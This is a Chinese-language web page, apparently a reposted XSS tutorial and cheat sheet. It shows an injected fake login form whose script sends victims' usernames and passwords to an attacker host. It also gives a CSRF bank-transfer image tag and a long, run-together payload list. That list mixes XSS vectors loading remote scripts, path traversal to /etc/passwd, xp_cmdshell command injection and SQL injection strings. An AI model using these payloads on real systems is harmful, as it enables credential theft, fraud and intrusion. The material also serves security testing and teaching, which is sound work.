XSS跨站總結
| 123456789101112131415 | <script>function hack(){location.replace(「http://www.attackpage.com/record.asp?username=「+document.forms[0].user.value + 「password=」 + document.forms[0].pass.value);}</script><form><br><br><HR><H3>這個功能需要登錄:</H3 ><br><br>請輸入用戶名:<br><input type=」text」 id=」user」name=」user」><br>請輸入密碼:<br><input type=」password」 name =「pass」><br><input type=」submit」name=」login」 value=」登錄」onclick=」hack()」></form><br><br><HR> |
注入上面的代碼後,則會在原來的頁面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當用戶點擊「登錄」按鈕後,則會執行hack()函數,將用戶的輸入發送到攻擊者指定的網站上去。這樣,攻擊者就成功竊取了該用戶的賬號信息。可以看到,和一般的釣魚攻擊不同,XSS引導的釣魚攻擊由於是對用戶信任的網站頁面進行修改,因此隱蔽性很高,而用戶的賬號失竊往往會帶來重大的損失,因此它的危害也是十分巨大的。3.跨站請求偽造跨站請求偽造(Cross-SiteRequest Forgery,CSRF),作為OWASP組織的2007年提出十大安全漏洞第五,它也屬於XSS攻擊的一種衍生。所謂跨站請求偽造,就是攻擊者利用XSS注入攻擊的方式,注入一段腳本,而當受害者的瀏覽器運行這段腳本時,腳本偽造受害者發送了一個合法請求。比如我們注入如下的HTML代碼:代碼:<imgsrc = 「http://www.bank.com/transfer.do?toAct=123456&money=10000>假如上面的代碼中所訪問的是某個銀行網站的轉賬服務,則當受害者的瀏覽器運行這段腳本時,就會向攻擊者指定的賬戶(示例的123456)執行轉賬操作。由於這個轉賬請求是在受害者的瀏覽器中運行的,因此瀏覽器也會自動將受害者的Cookie信息一併發送。這樣,發送的請求就好像是受害者自己發送的一樣,銀行網站也將認可這個請求的合法性,攻擊者也就達到了偽造請求的目的。4.注入惡意軟體除了直接注入惡意腳本以外,通過XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟體,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個自己建立的頁面上放置一些惡意軟體,然後用XSS注入的方式,插入一段引用該頁面的腳本。這樣當受害者的瀏覽器執行這段腳本的時候,就會自動訪問放置了惡意軟體的頁面,從而受到這些惡意軟體的感染。利用XSS注入惡意軟體的方式,攻擊者可以很方便地在互聯網上傳播病毒、木馬和蠕蟲,通過這種途徑,攻擊者就可以通過這些病毒、木馬和蠕蟲,進一步地對受害者的主機發動攻擊。目前,互聯網上的「掛馬」現象非常普遍,而XSS注入的出現也無疑給「掛馬」的攻擊者指明了又一個新的方向。通過傳播這些木馬,竊取合法用戶的敏感信息,不少非法攻擊者也逐漸將這一過程產業化,經常可以見到以信封方式批量兜售賬號密碼的現象。這也給許多正常的網路用戶造成了許多無法挽回的巨大損失,造成的危害也很大。挖掘方式:1. 對於反射型XSS以及一些DOM XSS,一般建議是開發一些自動化的掃描工具進行掃描,並輔以手工分析。 另外一方面,搜索引擎也是快速尋找具有缺陷參數的好辦法。 具體可見:白帽子信息_心傷的瘦子2. 對於存儲型XSS,1) 對於單純的輸入->存儲->輸出點 的情況 (輸入與輸出點關係:一個地方輸入,會有多個地方輸出;不同地方輸入,同一地方輸出。)。常規測試是正向直接輸入內容,然後在輸出點查看是否未過濾,當然你也可以先大膽假設輸出點未過濾,反向尋找在何處進行輸入,進而測試。2)對於富文本,則需要對過濾器進行fuzz測試(人腦+自動化)了,可參照:fuzzing XSS filter3)第三類,就是一些WEB應用中所出現的DOM-存儲型XSS,即輸出點的無害內容,會經過js的一些dom操作變得危險(本質上和 第1點裡的dom xss成因是一樣的)。這一類的挖掘方法,個人覺得不太好總結。 其一,需要熟悉WEB應用的功能,其二,知道功能所對應的JS代碼有哪些,其三,憑直覺猜測程序員會在哪些功能出現可能導致XSS的過濾遺忘或過濾錯誤(直覺是唬人的,其實就是你知道某些功能會需要某些代碼實現,而這些代碼常常容易出錯),其四,需要有較好的代碼閱讀跟蹤能力(JS一大坨。。還是蠻難讀的.... 有些代碼被混淆過,十分不易閱讀,就會涉及到如何下斷點進行調試的小技巧)。 我想,挖掘這一類的前提可能是需要有不錯的前端開發經驗,寫多了,才會有足夠的嗅覺。檢測方法代碼:
| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111 | "><svg><script xlink:href=//********></script><script>alert(document.cookie)</script>javascript:console.log(0)<script>console.log(1)</script>"><script>alert(document.cookie)</script>="><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(vulnerable)</script>%3Cscript%3Ealert("XSS")%3C/script%3E<script>alert("XSS")</script><img src="javascript:alert("XSS")">%0a%0a<script>alert("Vulnerable")</script>.jsp%22%3cscript%3ealert(%22xss%22)%3c/script%3e%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html%3f.jsp%3f.jsp<script>alert("Vulnerable");</script><script>alert("Vulnerable")</script>sql_debug=1a%5c.aspxa.jsp/<script>alert("Vulnerable")</script>a/a?<script>alert("Vulnerable")</script>"><script>alert("Vulnerable")</script>";exec%20master..xp_cmdshell%20"dir%20 c:%20>%20c:inetpubwwwroot?.txt"--&&%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%3Ealert(document. domain);%3C/script%3E&%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=http://www.cnblogs.com/http://ww ... logs.com/etc/passwd................windowssystem.ini................windowssystem.ini"";!--"<XSS>=&{()}<IMG src="javascript:alert("XSS");"><IMG src=javascript:alert("XSS")><IMG src=JaVaScRiPt:alert("XSS")><IMG src=JaVaScRiPt:alert("XSS")><IMG src=javascript:alert("XSS")><IMG src=javascript:alert("XSS")><IMG src=javascript:alert('XSS')><IMG src="jav ascript:alert("XSS");"><IMG src="jav ascript:alert("XSS");"><IMG src="jav ascript:alert("XSS");">"<IMG src=java script:alert("XSS")>";" > out<IMG src=" javascript:alert("XSS");"><SCRIPT>a=/XSS/alert(a.source)</SCRIPT><BODY BACKGROUND="javascript:alert("XSS")"><BODY ONLOAD=alert("XSS")><IMG DYNSRC="javascript:alert("XSS")"><IMG LOWSRC="javascript:alert("XSS")"><BGSOUND src="javascript:alert("XSS");"><br size="&{alert("XSS")}"><LAYER src="http://xss.ha.ckers.org/a.js"></layer><LINK REL="stylesheet" href="javascript:alert("XSS");"><IMG src="vbscript:msgbox("XSS")"><IMG src="mocha:"><IMG src="livescript:"><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert("XSS");"><IFRAME src=javascript:alert("XSS")></IFRAME><FRAMESET><FRAME src=javascript:alert("XSS")></FRAME></FRAMESET><TABLE BACKGROUND="javascript:alert("XSS")"><DIV STYLE="background-image: url(javascript:alert("XSS"))"><DIV STYLE="behaviour: url("http://www.how-to-hack.org/exploit.html");"><DIV STYLE="width: (alert("XSS"));"><STYLE>@import"javasc;</STYLE><IMG STYLE="xss:expression(alert("XSS"))"><STYLE TYPE="text/javascript">alert("XSS");</STYLE><STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert("XSS")");}</STYLE><A class="XSS"></A><STYLE type="text/css">BODY{background:url("javascript:alert("XSS")")}</STYLE><BASE href="javascript:alert("XSS");//">getURL("javascript:alert("XSS")")a="get";b="URL";c="javascript:";d="alert("XSS");";eval(a+b+c+d);<XML src="javascript:alert("XSS");">"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert("XSS");}</SCRIPT><"<SCRIPT src=/uploadfile/2015/0126/20150126034957941.jpg"></SCRIPT><IMG src="javascript:alert("XSS")"<!--#exec cmd="/bin/echo "<SCRIPT SRC""--><!--#exec cmd="/bin/echo "=http://xss.ha.ckers.org/a.js></SCRIPT>""--><IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"><SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT a=">" "" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT "a=">"" src="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT><A href=http://www.gohttp://www.google.com/ogle.com/>link</A>admin"--" or 0=0 --" or 0=0 --or 0=0 --" or 0=0 #" or 0=0 #or 0=0 #" or "x"="x" or "x"="x") or ("x"="x" or 1=1--" or 1=1--or 1=1--" or a=a--" or "a"="a") or ("a"="a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi" or 1=1 --hi" or "a"="ahi") or ("a"="ahi") or ("a"="a |
推薦閱讀:
※所謂「絕招」都從義理總結中得來
※2011年各國移民情況總結盤點
※《周易》六十四卦歸類總結,帶水的十六卦有什麼特徵?一看嚇一跳
※復盤,比總結更能讓你精進的思維
※為什麼男人會喜歡別人的老婆,總結的太到位了
TAG:總結 |
